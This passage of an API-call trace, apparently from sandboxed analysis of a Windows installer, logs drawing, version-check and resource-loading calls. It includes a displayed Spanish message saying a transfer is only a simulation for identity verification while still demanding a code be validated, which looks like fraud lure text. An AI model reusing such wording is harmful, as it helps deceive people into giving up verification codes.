	[0119.066] DrawTextExA (in: hdc=0xa010691, lpchText=" ", cchText=1, lprc=0x19f56d, format=0x440, lpdtp=0x0 | out: lpchText=" ", lprc=0x19f56d) returned 13
	[0119.066] SysReAllocStringLen (in: pbstr=0x19f808*=0x0, psz="Atención: No se trata de una trasferencia, esta es solo una simulación con datos ficticios generados por el sistema para una verificación de identidad, sin embargo el código tiene que ser validado.", len=0xc5 | out: pbstr=0x19f808*="Atención: No se trata de una trasferencia, esta es solo una simulación con datos ficticios generados por el sistema para una verificación de identidad, sin embargo el código tiene que ser validado.") returned 1
	[0119.070] RtlLockHeap (Heap=0x230000) returned 1
	[0119.070] RtlIsValidHandle (HandleTable=0x76ac1600, Handle=0x73d0068) returned 1
	[0119.070] RtlRestoreLastWin32Error () returned 0x0
	[0119.070] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="•", cchWideChar=1, lpMultiByteStr=0x19e7a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x95÷\x19", lpUsedDefaultChar=0x0) returned 1
	[0119.080] RtlLockHeap (Heap=0x230000) returned 1
	[0119.080] RtlIsValidHandle (HandleTable=0x76ac1600, Handle=0x73d0068) returned 1
	[0119.080] RtlRestoreLastWin32Error () returned 0x0
	[0119.082] SetROP2 (hdc=0xa010691, rop2=13) returned 13
	[0119.082] UnrealizeObject (h=0x1b100652) returned 1
	[0119.082] SelectObject (hdc=0xa010691, h=0x1b100652) returned 0x1900010
	[0119.082] SetBkColor (hdc=0xa010691, color=0xffffff) returned 0xffffff
	[0119.082] SetBkMode (hdc=0xa010691, mode=2) returned 2
	[0119.082] DrawTextExA (in: hdc=0xa010691, lpchText=" ", cchText=1, lprc=0x19f56d, format=0x440, lpdtp=0x0 | out: lpchText=" ", lprc=0x19f56d) returned 13
	[0119.082] SetROP2 (hdc=0xa010691, rop2=13) returned 13
	[0119.082] UnrealizeObject (h=0x1b100652) returned 1
	[0119.082] SelectObject (hdc=0xa010691, h=0x1b100652) returned 0x1900010
	[0119.082] SetBkColor (hdc=0xa010691, color=0xffffff) returned 0xffffff
	[0119.082] SetBkMode (hdc=0xa010691, mode=2) returned 2
	[0119.082] DrawTextExA (in: hdc=0xa010691, lpchText=" ", cchText=1, lprc=0x19f56d, format=0x440, lpdtp=0x0 | out: lpchText=" ", lprc=0x19f56d) returned 13
	[0119.082] SetROP2 (hdc=0xa010691, rop2=13) returned 13
	[0119.082] UnrealizeObject (h=0x1b100652) returned 1
	[0119.082] SelectObject (hdc=0xa010691, h=0x1b100652) returned 0x1900010
	[0119.082] SetBkColor (hdc=0xa010691, color=0xffffff) returned 0xffffff
	[0119.082] SetBkMode (hdc=0xa010691, mode=2) returned 2
	[0119.082] DrawTextExA (in: hdc=0xa010691, lpchText=" ", cchText=1, lprc=0x19f56d, format=0x440, lpdtp=0x0 | out: lpchText=" ", lprc=0x19f56d) returned 13
	[0119.082] GetVersionExA (in: lpVersionInformation=0x19f828*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x724ffe0, szCSDVersion="Èÿ$\x07\x18") | out: lpVersionInformation=0x19f828*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x2, dwBuildNumber=0x23f0, dwPlatformId=0x2, szCSDVersion="")) returned 1
	[0119.083] GetFileVersionInfoSizeA (in: lptstrFilename="COMCTL32.DLL", lpdwHandle=0x19f7f0 | out: lpdwHandle=0x19f7f0) returned 0x734
	[0119.083] GetFileVersionInfoA (in: lptstrFilename="COMCTL32.DLL", dwHandle=0x0, dwLen=0x734, lpData=0x7252568 | out: lpData=0x7252568) returned 1
	[0119.083] VerQueryValueA (in: pBlock=0x7252568, lpSubBlock="\\", lplpBuffer=0x19f7e8, puLen=0x19f7e4 | out: lplpBuffer=0x19f7e8*=0x7252590, puLen=0x19f7e4) returned 1
	[0119.083] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="•", cchWideChar=1, lpMultiByteStr=0x19e7a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x95÷\x19", lpUsedDefaultChar=0x0) returned 1
	[0119.083] GetVersionExA (in: lpVersionInformation=0x19f828*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x402515, dwMinorVersion=0x50c5cc, dwBuildNumber=0x40251d, dwPlatformId=0x4e6732, szCSDVersion="\x07") | out: lpVersionInformation=0x19f828*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x2, dwBuildNumber=0x23f0, dwPlatformId=0x2, szCSDVersion="")) returned 1
	[0119.083] GetFileVersionInfoSizeA (in: lptstrFilename="COMCTL32.DLL", lpdwHandle=0x19f7f0 | out: lpdwHandle=0x19f7f0) returned 0x734
	[0119.083] GetFileVersionInfoA (in: lptstrFilename="COMCTL32.DLL", dwHandle=0x0, dwLen=0x734, lpData=0x7253380 | out: lpData=0x7253380) returned 1
	[0119.083] VerQueryValueA (in: pBlock=0x7253380, lpSubBlock="\\", lplpBuffer=0x19f7e8, puLen=0x19f7e4 | out: lplpBuffer=0x19f7e8*=0x72533a8, puLen=0x19f7e4) returned 1
	[0119.083] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="•", cchWideChar=1, lpMultiByteStr=0x19e7a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x95÷\x19", lpUsedDefaultChar=0x0) returned 1
	[0119.083] GetVersionExA (in: lpVersionInformation=0x19f828*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x402515, dwMinorVersion=0x50c5cc, dwBuildNumber=0x40251d, dwPlatformId=0x4e6732, szCSDVersion="\x07") | out: lpVersionInformation=0x19f828*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x2, dwBuildNumber=0x23f0, dwPlatformId=0x2, szCSDVersion="")) returned 1
	[0119.083] GetFileVersionInfoSizeA (in: lptstrFilename="COMCTL32.DLL", lpdwHandle=0x19f7f0 | out: lpdwHandle=0x19f7f0) returned 0x734
	[0119.084] GetFileVersionInfoA (in: lptstrFilename="COMCTL32.DLL", dwHandle=0x0, dwLen=0x734, lpData=0x7253960 | out: lpData=0x7253960) returned 1
	[0119.084] VerQueryValueA (in: pBlock=0x7253960, lpSubBlock="\\", lplpBuffer=0x19f7e8, puLen=0x19f7e4 | out: lplpBuffer=0x19f7e8*=0x7253988, puLen=0x19f7e4) returned 1
	[0119.084] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="•", cchWideChar=1, lpMultiByteStr=0x19e7a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x95÷\x19", lpUsedDefaultChar=0x0) returned 1
	[0119.085] FlatSB_SetScrollProp (param_1=0x20218, index=0x100, newValue=0x0, param_4=1) returned 0
	[0119.085] FlatSB_SetScrollProp (param_1=0x20218, index=0x40, newValue=0xffffff, param_4=0) returned 0
	[0119.085] FlatSB_SetScrollInfo (param_1=0x20218, code=1, psi=0x19e5f6, fRedraw=1) returned 0
	[0119.085] FlatSB_SetScrollProp (param_1=0x20218, index=0x200, newValue=0x0, param_4=1) returned 0
	[0119.085] FlatSB_SetScrollProp (param_1=0x20218, index=0x80, newValue=0xffffff, param_4=0) returned 0
	[0119.085] FlatSB_SetScrollInfo (param_1=0x20218, code=0, psi=0x19e5f6, fRedraw=1) returned 0
	[0119.086] FlatSB_SetScrollProp (param_1=0x20218, index=0x100, newValue=0x0, param_4=0) returned 0
	[0119.086] FlatSB_SetScrollProp (param_1=0x20218, index=0x40, newValue=0xffffff, param_4=0) returned 0
	[0119.086] FlatSB_SetScrollInfo (param_1=0x20218, code=1, psi=0x19f002, fRedraw=1) returned 0
	[0119.086] FlatSB_SetScrollProp (param_1=0x20218, index=0x200, newValue=0x0, param_4=0) returned 0
	[0119.086] FlatSB_SetScrollProp (param_1=0x20218, index=0x80, newValue=0xffffff, param_4=0) returned 0
	[0119.086] FlatSB_SetScrollInfo (param_1=0x20218, code=0, psi=0x19f002, fRedraw=1) returned 0
	[0119.086] FlatSB_SetScrollProp (param_1=0x20218, index=0x100, newValue=0x0, param_4=0) returned 0
	[0119.086] FlatSB_SetScrollProp (param_1=0x20218, index=0x40, newValue=0xffffff, param_4=0) returned 0
	[0119.086] FlatSB_SetScrollInfo (param_1=0x20218, code=1, psi=0x19f9ae, fRedraw=1) returned 0
	[0119.087] FlatSB_SetScrollProp (param_1=0x20218, index=0x200, newValue=0x0, param_4=0) returned 0
	[0119.087] FlatSB_SetScrollProp (param_1=0x20218, index=0x80, newValue=0xffffff, param_4=0) returned 0
	[0119.087] FlatSB_SetScrollInfo (param_1=0x20218, code=0, psi=0x19f9ae, fRedraw=1) returned 0
	[0119.088] GetTextExtentPoint32A (in: hdc=0xa0100d0, lpString="0", c=1, psizl=0x19fa74 | out: psizl=0x19fa74) returned 1
	[0119.088] FlatSB_SetScrollProp (param_1=0x20218, index=0x100, newValue=0x0, param_4=0) returned 0
	[0119.088] FlatSB_SetScrollProp (param_1=0x20218, index=0x40, newValue=0xffffff, param_4=0) returned 0
	[0119.088] FlatSB_SetScrollInfo (param_1=0x20218, code=1, psi=0x19f046, fRedraw=1) returned 0
	[0119.089] FlatSB_SetScrollProp (param_1=0x20218, index=0x200, newValue=0x0, param_4=0) returned 0
	[0119.089] FlatSB_SetScrollProp (param_1=0x20218, index=0x80, newValue=0xffffff, param_4=0) returned 0
	[0119.089] FlatSB_SetScrollInfo (param_1=0x20218, code=0, psi=0x19f046, fRedraw=1) returned 0
	[0119.089] FlatSB_SetScrollProp (param_1=0x20218, index=0x100, newValue=0x0, param_4=0) returned 0
	[0119.089] FlatSB_SetScrollProp (param_1=0x20218, index=0x40, newValue=0xffffff, param_4=0) returned 0
	[0119.089] FlatSB_SetScrollInfo (param_1=0x20218, code=1, psi=0x19f046, fRedraw=1) returned 0
	[0119.089] FlatSB_SetScrollProp (param_1=0x20218, index=0x200, newValue=0x0, param_4=0) returned 0
	[0119.089] FlatSB_SetScrollProp (param_1=0x20218, index=0x80, newValue=0xffffff, param_4=0) returned 0
	[0119.089] FlatSB_SetScrollInfo (param_1=0x20218, code=0, psi=0x19f046, fRedraw=1) returned 0
	[0119.089] FreeResource (hResData=0xe79ba8) returned 0
	[0119.089] SetROP2 (hdc=0xa010691, rop2=13) returned 13
	[0119.089] UnrealizeObject (h=0x1b100652) returned 1
	[0119.089] SelectObject (hdc=0xa010691, h=0x1b100652) returned 0x1900010
	[0119.089] SetBkColor (hdc=0xa010691, color=0xffffff) returned 0xffffff
	[0119.089] SetBkMode (hdc=0xa010691, mode=2) returned 2
	[0119.089] DrawTextExA (in: hdc=0xa010691, lpchText="Instalando...", cchText=13, lprc=0x19fc59, format=0x440, lpdtp=0x0 | out: lpchText="Instalando...", lprc=0x19fc59) returned 14
	[0119.090] SetROP2 (hdc=0xa010691, rop2=13) returned 13
	[0119.090] UnrealizeObject (h=0x1b100652) returned 1
	[0119.090] SelectObject (hdc=0xa010691, h=0x1b100652) returned 0x1900010
	[0119.090] SetBkColor (hdc=0xa010691, color=0xffffff) returned 0xffffff
	[0119.090] SetBkMode (hdc=0xa010691, mode=2) returned 2
	[0119.090] DrawTextExA (in: hdc=0xa010691, lpchText="Atención: No se trata de una trasferencia, esta es solo una simulación con datos ficticios generados por el sistema para una verificación de identidad, sin embargo el código tiene que ser validado.", cchText=197, lprc=0x19fc59, format=0x450, lpdtp=0x0 | out: lpchText="Atención: No se trata de una trasferencia, esta es solo una simulación con datos ficticios generados por el sistema para una verificación de identidad, sin embargo el código tiene que ser validado.", lprc=0x19fc59) returned 39
	[0119.101] FindResourceExA (hModule=0x400000, lpType=0xa, lpName="TfChi", wLanguage=0x0) returned 0x529cf0
	[0119.101] FindResourceExA (hModule=0x400000, lpType=0xa, lpName="TfChi", wLanguage=0x0) returned 0x529cf0
	[0119.101] LoadResource (hModule=0x400000, hResInfo=0x529cf0) returned 0xa6b6c0
	[0119.101] SizeofResource (hModule=0x400000, hResInfo=0x529cf0) returned 0x26ad4c
	[0119.101] LockResource (hResData=0xa6b6c0) returned 0xa6b6c0
	[0119.104] RtlLockHeap (Heap=0x230000) returned 1
	[0119.104] RtlIsValidHandle (HandleTable=0x76ac1600, Handle=0x73d0070) returned 1
	[0119.104] RtlRestoreLastWin32Error () returned 0x0
	[0119.105] CreatePenIndirect (plpen=0x19f580) returned 0x13007a1
	[0119.105] SetROP2 (hdc=0x501079f, rop2=13) returned 13
	[0119.105] CreateBrushIndirect (plbrush=0x19f584) returned 0x1a10075f
	[0119.105] CreatePenIndirect (plpen=0x19f578) returned 0x13007a2
	[0119.105] SetROP2 (hdc=0x501079f, rop2=13) returned 13
	[0119.105] UnrealizeObject (h=0x1b100652) returned 1
	[0119.105] SelectObject (hdc=0x501079f, h=0x1b100652) returned 0x1900015
	[0119.105] SetBkColor (hdc=0x501079f, color=0xffffff) returned 0xff00ff
	[0119.106] SetBkMode (hdc=0x501079f, mode=2) returned 2
	[0119.106] RoundRect (hdc=0x501079f, left=0, top=0, right=521, bottom=25, width=6, height=6) returned 1
	[0119.106] GetTextExtentPoint32A (in: hdc=0x501079f, lpString="0%", c=2, psizl=0x19f5b8 | out: psizl=0x19f5b8) returned 1
	[0119.106] GetTextExtentPoint32A (in: hdc=0x501079f, lpString="0%", c=2, psizl=0x19f5b4 | out: psizl=0x19f5b4) returned 1
	[0119.106] UnrealizeObject (h=0x1900015) returned 1
	[0119.106] SelectObject (hdc=0x501079f, h=0x1900015) returned 0x1900015
	[0119.106] SetBkColor (hdc=0x501079f, color=0xff000000) returned 0xffffff
	[0119.106] SetBkMode (hdc=0x501079f, mode=1) returned 2
	[0119.106] ExtTextOutA (hdc=0x501079f, x=250, y=4, options=0x0, lprect=0x0, lpString="0%", c=0x2, lpDx=0x0) returned 1
	[0119.106] GetTextExtentPoint32A (in: hdc=0x501079f, lpString="0%", c=2, psizl=0x19f5a0 | out: psizl=0x19f5a0) returned 1
	[0119.106] MoveToEx (in: hdc=0x501079f, x=271, y=4, lppt=0x0 | out: lppt=0x0) returned 1
	[0119.106] FlatSB_SetScrollProp (param_1=0x10248, index=0x100, newValue=0x0, param_4=1) returned 0
	[0119.106] FlatSB_SetScrollProp (param_1=0x10248, index=0x40, newValue=0xffffff, param_4=0) returned 0
	[0119.106] FlatSB_SetScrollInfo (param_1=0x10248, code=1, psi=0x19e26e, fRedraw=1) returned 0
	[0119.106] FlatSB_SetScrollProp (param_1=0x10248, index=0x200, newValue=0x0, param_4=1) returned 0
	[0119.106] FlatSB_SetScrollProp (param_1=0x10248, index=0x80, newValue=0xffffff, param_4=0) returned 0
	[0119.106] FlatSB_SetScrollInfo (param_1=0x10248, code=0, psi=0x19e26e, fRedraw=1) returned 0
	[0119.107] FlatSB_SetScrollProp (param_1=0x10248, index=0x100, newValue=0x0, param_4=0) returned 0
	[0119.107] FlatSB_SetScrollProp (param_1=0x10248, index=0x40, newValue=0xffffff, param_4=0) returned 0
	[0119.107] FlatSB_SetScrollInfo (param_1=0x10248, code=1, psi=0x19ec7a, fRedraw=1) returned 0
	[0119.107] FlatSB_SetScrollProp (param_1=0x10248, index=0x200, newValue=0x0, param_4=0) returned 0
	[0119.107] FlatSB_SetScrollProp (param_1=0x10248, index=0x80, newValue=0xffffff, param_4=0) returned 0
	[0119.107] FlatSB_SetScrollInfo (param_1=0x10248, code=0, psi=0x19ec7a, fRedraw=1) returned 0
	[0119.107] FlatSB_SetScrollProp (param_1=0x10248, index=0x100, newValue=0x0, param_4=0) returned 0
	[0119.107] FlatSB_SetScrollProp (param_1=0x10248, index=0x40, newValue=0xffffff, param_4=0) returned 0
	[0119.107] FlatSB_SetScrollInfo (param_1=0x10248, code=1, psi=0x19f62a, fRedraw=1) returned 0
	[0119.108] FlatSB_SetScrollProp (param_1=0x10248, index=0x200, newValue=0x0, param_4=0) returned 0
	[0119.108] FlatSB_SetScrollProp (param_1=0x10248, index=0x80, newValue=0xffffff, param_4=0) returned 0
	[0119.108] FlatSB_SetScrollInfo (param_1=0x10248, code=0, psi=0x19f62a, fRedraw=1) returned 0
	[0119.109] SetViewportOrgEx (in: hdc=0xa0100d0, x=16, y=240, lppt=0x0 | out: lppt=0x0) returned 1
	[0119.109] IntersectClipRect (hdc=0xa0100d0, left=0, top=0, right=521, bottom=25) returned 3
	[0119.109] SetROP2 (hdc=0xa0100d0, rop2=13) returned 13
	[0119.109] UnrealizeObject (h=0x1b100652) returned 1
	[0119.109] SelectObject (hdc=0xa0100d0, h=0x1b100652) returned 0x1900010
	[0119.109] SetBkColor (hdc=0xa0100d0, color=0xffffff) returned 0xffffff
	[0119.110] SetBkMode (hdc=0xa0100d0, mode=2) returned 2
	[0119.110] GetDeviceCaps (hdc=0xa0100d0, index=12) returned 32
	[0119.110] GetDeviceCaps (hdc=0xa0100d0, index=14) returned 1
	[0119.110] SetStretchBltMode (hdc=0xa0100d0, mode=3) returned 1
	[0119.110] SetROP2 (hdc=0x60107a1, rop2=13) returned 13
	[0119.110] UnrealizeObject (h=0x1900015) returned 1
	[0119.110] SelectObject (hdc=0x60107a1, h=0x1900015) returned 0x1900010
	[0119.110] SetBkColor (hdc=0x60107a1, color=0xff000000) returned 0xffffff
	[0119.110] SetBkMode (hdc=0x60107a1, mode=1) returned 2
	[0119.110] CreateCompatibleDC (hdc=0x0) returned 0x801079f
	[0119.110] SelectObject (hdc=0x801079f, h=0x30507a3) returned 0x185000f
	[0119.110] CreateCompatibleBitmap (hdc=0x60107a1, cx=1, cy=1) returned 0x40507a7
	[0119.110] SelectObject (hdc=0x801079f, h=0x40507a7) returned 0x30507a3
	[0119.110] MaskBlt (hdcDest=0xa0100d0, xDest=0, yDest=0, width=521, height=25, hdcSrc=0x60107a1, xSrc=0, ySrc=0, hbmMask=0x30507a3, xMask=0, yMask=0, rop=0xccaa0029) returned 1
	[0119.110] SelectObject (hdc=0x801079f, h=0x30507a3) returned 0x40507a7
	[0119.110] DeleteObject (ho=0x40507a7) returned 1
	[0119.110] SelectObject (hdc=0x801079f, h=0x185000f) returned 0x30507a3
	[0119.110] DeleteDC (hdc=0x801079f) returned 1
	[0119.110] RtlLockHeap (Heap=0x230000) returned 1
	[0119.110] RtlIsValidHandle (HandleTable=0x76ac1600, Handle=0x73d0070) returned 1
	[0119.111] RtlRestoreLastWin32Error () returned 0x0
	[0119.111] SetROP2 (hdc=0xa010691, rop2=13) returned 13
	[0119.111] UnrealizeObject (h=0x1b100652) returned 1
	[0119.111] SelectObject (hdc=0xa010691, h=0x1b100652) returned 0x1900010
	[0119.111] SetBkColor (hdc=0xa010691, color=0xffffff) returned 0xffffff
	[0119.111] SetBkMode (hdc=0xa010691, mode=2) returned 2
	[0119.111] DrawTextExA (in: hdc=0xa010691, lpchText=" ", cchText=1, lprc=0x19f56d, format=0x440, lpdtp=0x0 | out: lpchText=" ", lprc=0x19f56d) returned 13
	[0119.123] RtlLockHeap (Heap=0x230000) returned 1
	[0119.123] RtlIsValidHandle (HandleTable=0x76ac1600, Handle=0x73d0070) returned 1
	[0119.123] RtlRestoreLastWin32Error () returned 0x0
	[0119.129] RtlLockHeap (Heap=0x230000) returned 1
	[0119.129] RtlIsValidHandle (HandleTable=0x76ac1600, Handle=0x73d0070) returned 1
	[0119.129] RtlRestoreLastWin32Error () returned 0x0
	[0119.133] RtlLockHeap (Heap=0x230000) returned 1
	[0119.133] RtlIsValidHandle (HandleTable=0x76ac1600, Handle=0x73d0070) returned 1
	[0119.133] RtlRestoreLastWin32Error () returned 0x0
	[0119.133] SetROP2 (hdc=0xa010691, rop2=13) returned 13
	[0119.133] UnrealizeObject (h=0x1b100652) returned 1
	[0119.133] SelectObject (hdc=0xa010691, h=0x1b100652) returned 0x1900010
	[0119.133] SetBkColor (hdc=0xa010691, color=0xffffff) returned 0xffffff
	[0119.133] SetBkMode (hdc=0xa010691, mode=2) returned 2
	[0119.133] DrawTextExA (in: hdc=0xa010691, lpchText=" ", cchText=1, lprc=0x19f56d, format=0x440, lpdtp=0x0 | out: lpchText=" ", lprc=0x19f56d) returned 13
	[0119.134] SetROP2 (hdc=0xa010691, rop2=13) returned 13
	[0119.134] UnrealizeObject (h=0x1b100652) returned 1
	[0119.134] SelectObject (hdc=0xa010691, h=0x1b100652) returned 0x1900010
	[0119.134] SetBkColor (hdc=0xa010691, color=0xffffff) returned 0xffffff
	[0119.134] SetBkMode (hdc=0xa010691, mode=2) returned 2
	[0119.134] DrawTextExA (in: hdc=0xa010691, lpchText=" ", cchText=1, lprc=0x19f56d, format=0x440, lpdtp=0x0 | out: lpchText=" ", lprc=0x19f56d) returned 13
	[0119.134] SetROP2 (hdc=0xa010691, rop2=13) returned 13
	[0119.134] UnrealizeObject (h=0x1b100652) returned 1
	[0119.134] SelectObject (hdc=0xa010691, h=0x1b100652) returned 0x1900010
	[0119.134] SetBkColor (hdc=0xa010691, color=0xffffff) returned 0xffffff
	[0119.134] SetBkMode (hdc=0xa010691, mode=2) returned 2
	[0119.134] DrawTextExA (in: hdc=0xa010691, lpchText=" ", cchText=1, lprc=0x19f56d, format=0x440, lpdtp=0x0 | out: lpchText=" ", lprc=0x19f56d) returned 13
	[0119.134] GetVersionExA (in: lpVersionInformation=0x19f828*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x50c628, dwMinorVersion=0x4014df, dwBuildNumber=0x19f860, dwPlatformId=0x50c628, szCSDVersion="~\x15@") | out: lpVersionInformation=0x19f828*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x2, dwBuildNumber=0x23f0, dwPlatformId=0x2, szCSDVersion="")) returned 1
	[0119.134] GetFileVersionInfoSizeA (in: lptstrFilename="COMCTL32.DLL", lpdwHandle=0x19f7f0 | out: lpdwHandle=0x19f7f0) returned 0x734
	[0119.134] GetFileVersionInfoA (in: lptstrFilename="COMCTL32.DLL", dwHandle=0x0, dwLen=0x734, lpData=0x725c40c | out: lpData=0x725c40c) returned 1
	[0119.134] VerQueryValueA (in: pBlock=0x725c40c, lpSubBlock="\\", lplpBuffer=0x19f7e8, puLen=0x19f7e4 | out: lplpBuffer=0x19f7e8*=0x725c434, puLen=0x19f7e4) returned 1
	[0119.135] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="•", cchWideChar=1, lpMultiByteStr=0x19e7a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x95÷\x19", lpUsedDefaultChar=0x0) returned 1
	[0119.135] GetVersionExA (in: lpVersionInformation=0x19f828*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x402515, dwMinorVersion=0x50c5cc, dwBuildNumber=0x40251d, dwPlatformId=0x4e6732, szCSDVersion="\x07") | out: lpVersionInformation=0x19f828*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x2, dwBuildNumber=0x23f0, dwPlatformId=0x2, szCSDVersion="")) returned 1
	[0119.135] GetFileVersionInfoSizeA (in: lptstrFilename="COMCTL32.DLL", lpdwHandle=0x19f7f0 | out: lpdwHandle=0x19f7f0) returned 0x734
	[0119.135] GetFileVersionInfoA (in: lptstrFilename="COMCTL32.DLL", dwHandle=0x0, dwLen=0x734, lpData=0x725d320 | out: lpData=0x725d320) returned 1
	[0119.135] VerQueryValueA (in: pBlock=0x725d320, lpSubBlock="\\", lplpBuffer=0x19f7e8, puLen=0x19f7e4 | out: lplpBuffer=0x19f7e8*=0x725d348, puLen=0x19f7e4) returned 1
	[0119.135] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="•", cchWideChar=1, lpMultiByteStr=0x19e7a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x95÷\x19", lpUsedDefaultChar=0x0) returned 1
	[0119.135] GetVersionExA (in: lpVersionInformation=0x19f828*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x402515, dwMinorVersion=0x50c5cc, dwBuildNumber=0x40251d, dwPlatformId=0x4e6732, szCSDVersion="\x07") | out: lpVersionInformation=0x19f828*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x2, dwBuildNumber=0x23f0, dwPlatformId=0x2, szCSDVersion="")) returned 1
	[0119.135] GetFileVersionInfoSizeA (in: lptstrFilename="COMCTL32.DLL", lpdwHandle=0x19f7f0 | out: lpdwHandle=0x19f7f0) returned 0x734
	[0119.135] GetFileVersionInfoA (in: lptstrFilename="COMCTL32.DLL", dwHandle=0x0, dwLen=0x734, lpData=0x725e038 | out: lpData=0x725e038) returned 1
	[0119.135] VerQueryValueA (in: pBlock=0x725e038, lpSubBlock="\\", lplpBuffer=0x19f7e8, puLen=0x19f7e4 | out: lplpBuffer=0x19f7e8*=0x725e060, puLen=0x19f7e4) returned 1
	[0119.136] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="•", cchWideChar=1, lpMultiByteStr=0x19e7a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x95÷\x19", lpUsedDefaultChar=0x0) returned 1
	[0119.140] RtlLockHeap (Heap=0x230000) returned 1
	[0119.140] RtlIsValidHandle (HandleTable=0x76ac1600, Handle=0x73d0070) returned 1
	[0119.140] RtlRestoreLastWin32Error () returned 0x0
	[0119.140] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="•", cchWideChar=1, lpMultiByteStr=0x19e7a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x95÷\x19", lpUsedDefaultChar=0x0) returned 1
	[0119.141] GetTextExtentPoint32A (in: hdc=0xa010691, lpString="0", c=1, psizl=0x19fa74 | out: psizl=0x19fa74) returned 1
	[0119.141] FlatSB_SetScrollProp (param_1=0x10248, index=0x100, newValue=0x0, param_4=0) returned 0
	[0119.141] FlatSB_SetScrollProp (param_1=0x10248, index=0x40, newValue=0xffffff, param_4=0) returned 0
	[0119.141] FlatSB_SetScrollInfo (param_1=0x10248, code=1, psi=0x19f046, fRedraw=1) returned 0
	[0119.141] FlatSB_SetScrollProp (param_1=0x10248, index=0x200, newValue=0x0, param_4=0) returned 0
	[0119.141] FlatSB_SetScrollProp (param_1=0x10248, index=0x80, newValue=0xffffff, param_4=0) returned 0
	[0119.141] FlatSB_SetScrollInfo (param_1=0x10248, code=0, psi=0x19f046, fRedraw=1) returned 0
	[0119.142] FlatSB_SetScrollProp (param_1=0x10248, index=0x100, newValue=0x0, param_4=0) returned 0
	[0119.142] FlatSB_SetScrollProp (param_1=0x10248, index=0x40, newValue=0xffffff, param_4=0) returned 0
	[0119.142] FlatSB_SetScrollInfo (param_1=0x10248, code=1, psi=0x19f046, fRedraw=1) returned 0
	[0119.142] FlatSB_SetScrollProp (param_1=0x10248, index=0x200, newValue=0x0, param_4=0) returned 0
	[0119.142] FlatSB_SetScrollProp (param_1=0x10248, index=0x80, newValue=0xffffff, param_4=0) returned 0
	[0119.142] FlatSB_SetScrollInfo (param_1=0x10248, code=0, psi=0x19f046, fRedraw=1) returned 0
	[0119.142] FreeResource (hResData=0xa6b6c0) returned 0
	[0119.144] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="Arial", cchCount1=5, lpString2="Default", cchCount2=7) returned 1
	[0119.154] FindResourceExA (hModule=0x400000, lpType=0xa, lpName="TfSnt2", wLanguage=0x0) returned 0x529d70
	[0119.154] FindResourceExA (hModule=0x400000, lpType=0xa, lpName="TfSnt2", wLanguage=0x0) returned 0x529d70
	[0119.154] LoadResource (hModule=0x400000, hResInfo=0x529d70) returned 0x185fe10
	[0119.154] SizeofResource (hModule=0x400000, hResInfo=0x529d70) returned 0x14a612
	[0119.154] LockResource (hResData=0x185fe10) returned 0x185fe10
	[0119.166] RtlLockHeap (Heap=0x230000) returned 1
	[0119.166] RtlIsValidHandle (HandleTable=0x76ac1600, Handle=0x73d0078) returned 1
	[0119.166] RtlRestoreLastWin32Error () returned 0x0
	[0119.169] SetROP2 (hdc=0xa0100d0, rop2=13) returned 13
	[0119.169] UnrealizeObject (h=0x1b100652) returned 1
	[0119.169] SelectObject (hdc=0xa0100d0, h=0x1b100652) returned 0x1900010
	[0119.169] SetBkColor (hdc=0xa0100d0, color=0xffffff) returned 0xffffff
	[0119.169] SetBkMode (hdc=0xa0100d0, mode=2) returned 2
	[0119.169] DrawTextExA (in: hdc=0xa0100d0, lpchText=" ", cchText=1, lprc=0x19f56d, format=0x440, lpdtp=0x0 | out: lpchText=" ", lprc=0x19f56d) returned 13
	[0119.169] SetROP2 (hdc=0xa0100d0, rop2=13) returned 13
	[0119.169] UnrealizeObject (h=0x1b100652) returned 1
	[0119.169] SelectObject (hdc=0xa0100d0, h=0x1b100652) returned 0x1900010
	[0119.169] SetBkColor (hdc=0xa0100d0, color=0xffffff) returned 0xffffff
	[0119.169] SetBkMode (hdc=0xa0100d0, mode=2) returned 2
	[0119.169] DrawTextExA (in: hdc=0xa0100d0, lpchText=" ", cchText=1, lprc=0x19f56d, format=0x440, lpdtp=0x0 | out: lpchText=" ", lprc=0x19f56d) returned 13
